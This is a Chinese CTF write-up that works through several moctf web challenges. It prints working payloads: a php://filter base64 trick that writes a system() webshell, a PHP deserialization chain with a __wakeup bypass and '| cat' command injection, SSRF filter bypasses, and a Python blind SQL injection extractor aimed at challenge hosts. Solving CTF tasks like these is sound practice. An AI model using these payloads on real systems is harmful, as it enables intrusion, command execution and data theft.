花了几个小时做了一下moctf,整理了几个当时没做出来的题
- unset
<?php highlight_file('index.php'); function waf($a){ foreach($a as $key => $value){ if(preg_match('/flag/i',$key)){ exit('are you a hacker'); } } } foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } } if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);} if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){ include($_GET['file']); } } ?>
代码中涉及了几个函数。
1.waf
function waf($a){ foreach($a as $key => $value){ if(preg_match('/flag/i',$key)){ exit('are you a hacker'); } } }
这个函数中对于$a的限制即$a中不能出现"flag",
2.
foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
foreach:用来遍历数组。
foreach (array_expression as $value) foreach (array_expression as $key => $value)
这一段是核心的部分,遍历数组,存放在临时变量$__R中,$$__R也就是$__R的值,$__R作为变量名。
将$$__R存放在$__v变量中。$__k也就是_GET[flag],而$$__k就是_GET[flag]的值
即POST传过去的内容为_GET,这样我们就可以达到if(isset($$__k) && $$__k == $__v) unset($$__k); 这里$$__K就是get参数的值,而$__V是POST传入数组里的键值的值。
3.
if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);} if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){ include($_GET['file']); } }
最后一段代码中,利用到了md5碰撞,其中传入的三个参数flag,daiker,file都需要绕过waf。
因此最终的payload:
FLAG:moctf{e2181b5o14a67159cc23oc8feod6c5b6}
- 死亡退出
<?php show_source(__FILE__); $c="<?php exit;?>"; @$c.=$_POST['c']; @$filename=$_POST['file']; if(!isset($filename)) { file_put_contents('tmp.php', ''); } @file_put_contents($filename, $c); include('tmp.php'); ?>
涉及的第一个问题如何绕过执行exit语句,上网看了一下wp之后发现用下面一种方式即可绕过。
使用base64的解码方法时,base64的解码方法时以4个字节为一组,且会过滤一系列的特殊字符,<?php exit; ?>会被修正为phpexit这七个字符,我们只需要在写入变量c时在开头随便补充一位,在进行base64加密和解密时phpexit便会失效。<?php system('cat flag.php');?> base64加密后为:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
在开头再添加一位字符bPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
payload:c=bPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php
查看元素:
- PUBG
查看源码后发现有bak文件。
打开bak文件。
<?php error_reporting(0); include 'class.php'; if(is_array($_GET)&&count($_GET)>0) { if(isset($_GET["LandIn"])) { $pos=$_GET["LandIn"]; } if($pos==="airport") { die("<center>机场大仙太多,你被打死了~</center>"); } elseif($pos==="school") { echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>'); $pubg=$_GET['pubg']; $p = unserialize($pubg); // $p->Get_air_drops($p->weapon,$p->bag); } elseif($pos==="AFK") { die("<center>由于你长时间没动,掉到海里淹死了~</center"); } else { die("<center>You Lose</center>"); } } ?>
传入的参数赋值给pos,接着序列化一个pubg变量,开头还有一个class.php文件,打开class.php.bak。
<?php include 'waf.php'; class sheldon{ public $bag="nothing"; public $weapon="M24"; // public function __toString(){ // $this->str="You got the airdrop"; // return $this->str; // } public function __wakeup() { $this->bag="nothing"; $this->weapon="kar98K"; } public function Get_air_drops($b) { $this->$b(); } public function __call($method,$parameters) { $file = explode(".",$method); echo $file[0]; if(file_exists(".//class$file[0].php")) { system("php .//class//$method.php"); } else { system("php .//class//win.php"); } die(); } public function nothing() { die("<center>You lose</center>"); } public function __destruct() { waf($this->bag); if($this->weapon==='AWM') { $this->Get_air_drops($this->bag); } else { die('<center>The Air Drop is empty,you lose~</center>'); } } } ?>
(1)这里定义了一个sheldon类,里面 有两个public成员 public $bag="nothing"; public $weapon="M24";。
(2)里面有五个成员函数。
①function __wakeup()
②function Get_air_drops($b)
③function __call($method,$parameters)
④function nothing()
⑤function __destruct()
之后我们开始分析,由于在index.php中我们知道要传入一个序列化后的对象,并且class.php中正好只有这个一个类。所以我们可以大胆猜测我们需要构造一个sheldon的对象。
而我们知道, __wakeup()函数在其所在对象反序列化的时候自动调用。所以如果我们构造sheldon对象并反序列后,我们的对象内部就会自动调用wakeup函数,
$this->bag="nothing";
$this->weapon="kar98K";
在析构函数中
public function __destruct() { waf($this->bag); if($this->weapon==='AWM') { $this->Get_air_drops($this->bag); } else { die('<center>The Air Drop is empty,you lose~</center>'); }
最后的析构函数可以看出我们需要传入的weapon值为AWM,然后会执行Get_air_drops函数,其参数为bag,此时我们我们知道Get_air_drops函数会以函数的方式执行bag。只要传入一个类中不存在的函数,其便会被call方法执行。
当对象内容执行结束后会调用析构函数,也就是说这个函数一定会被执行。
①对当前对象的bag成员执行waf函数(这个函数在waf.php中,但是我们目前无法得到waf.php中的内容)。
②然后if中条件满足的话,我们执行Get_air_drops函数,否则输出一行字。Get_air_drops()会执行我们传入的函数
跟进一下_call函数
public function __call($method,$parameters) { $file = explode(".",$method); echo $file[0]; if(file_exists(".//class$file[0].php")) { system("php .//class//$method.php"); } else { system("php .//class//win.php"); } die(); }
之后是一个php的重载方法__call(),__call()方法用于监视错误的方法调用,该方法有两个参数,第一个参数会接受不存在的方法名,第二个参数则以数组的方式接受不存在方法的多个参数。也就是说只要我们可以传入一个类中不存在的方法,他便会被call方法所执行。
总结一下最后的思路:
①系统肯定要执行__destruct()函数,由此函数执行不存在的函数从而调用__call()。又因为我们的脚本中存在__wakeup()函数所以它会讲我们的weapon强制改成kar98K,导致我们无法调用Get_air_drops()函数。所以我们需要绕过它(下面讲一下)。
②成功绕过__wakeup()后,执行call函数,并满足第一个条件后运行“system("php .//class//$method.php");”得到flag。
现在需要写一个脚本来输出序列化的字符串
<?php class sheldon{ public $bag="//win.php| cat ./class/flag"; public $weapon="AWM"; // public function __toString(){ // $this->str="You got the airdrop"; // return $this->str; // } public function __wakeup() { $this->bag="nothing"; $this->weapon="kar98K"; } public function Get_air_drops($b) { $this->$b(); } public function __call($method,$parameters) { $file = explode(".",$method); echo $file[0]; if(file_exists(".//class$file[0].php")) { system("php .//class//$method.php"); } else { system("php .//class//win.php"); } die(); } public function nothing() { die("<center>You lose</center>"); } public function __destruct() { //waf($this->bag); if($this->weapon==='AWM') { $this->Get_air_drops($this->bag); } else { die('<center>The Air Drop is empty,you lose~</center>'); } } } $a = new sheldon(); print_r(serialize($a)); // var_dump((unserialize(serialize($a)))); ?>
output:O:7:"sheldon":2:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";} (但是需要修改参数个数 2改为其他数)
最终的payload:120.78.57.208:6001?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}
- 网站检测器
=================================================================================
SSRF:SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制。其绕过方式为在真实地址后加上@+想要伪造访问的地址。
=====================================================================
此外,这道题还给了一处提示hint:docker -p 10001:80
我们需要访问的是本地的ip,但是题目过滤了dot和127,因此对于dot我们采取url编码的方式绕过,但此时的“.”为%2e,依旧会被识别,此时我们需要使用url二次编码来进行绕过。对于127.0.0.1我们则采取改变进制的方法进行绕过。最初的payload:http://www.moctf.com@127.0.0.1/flag.php
127.0.0.1化为八进制为017700000001
flag.php二次url编码后的结果为%25%36%36%25%36%43%25%36%31%25%36%37%25%32%45%25%37%30%25%36%38%25%37%30
- 简单注入
审查元素发现
因此1.尝试一下url?id=1
产生回显因此再去尝试一下1' or 1=1
尝试id=999 产生了一个空白页面。大概了解了一些回显的套路之后,开始测试一些被过滤的字符
可以看出空格在这里被过滤掉了。
2.接下来判断注入方式
在输入id=2,id=2-1,id=1的时候 发现2-1的页面回显和2相同因此注入方式为字符型注入
3.判断闭合
既然是str类型,就应该考虑闭合,当输入为id=1'页面显示空白。并没有显示waf,说明单引号没有被过滤,只是被转码为%27。
尝试使用注释符闭合
尝试id=1'# 注释掉后面的单引号完成闭合。
以下注释中有些被过滤了 有些没有,但是使用注释后页面无法正常显示,没有成功
//, -- , /**/, #, --+, -- -, ;%00
尝试id=1' and '1'='1 进行闭合
因为空格用()替换,'为%27,所以构造如下
id=1%27and(%271%27)=%271
运行后页面显示正常,验证成功
4.判断可用字符
利用相同方法带入发现union联合注入、or、<、>都不可用。
可以使用and、select查询字符。
5.带入id=1'and'1'='1成立
这里用数据库长度进行举例
id=1'and length(database()) ='1
构造后如下,经判断当前数据库名长度为5成立。
1'and(length(database()))='5
最终Python代码:
import string import requests chars = '!@$%^&*()_+=-|}{ :?><[];,./`~' string = string.ascii_letters+string.digits+chars rs = requests.session() flag = "" # 正确payload # payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^'1" # payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})^'1" # payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1))={1})^'1" payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))={1})^'1" for i in range(0, 500): # for j in string: for j in range(33, 127): url = payload.format(str(i), str(j)) s = rs.get(url) # print url if 'Flag' in s.text: flag = flag + chr(j) print flag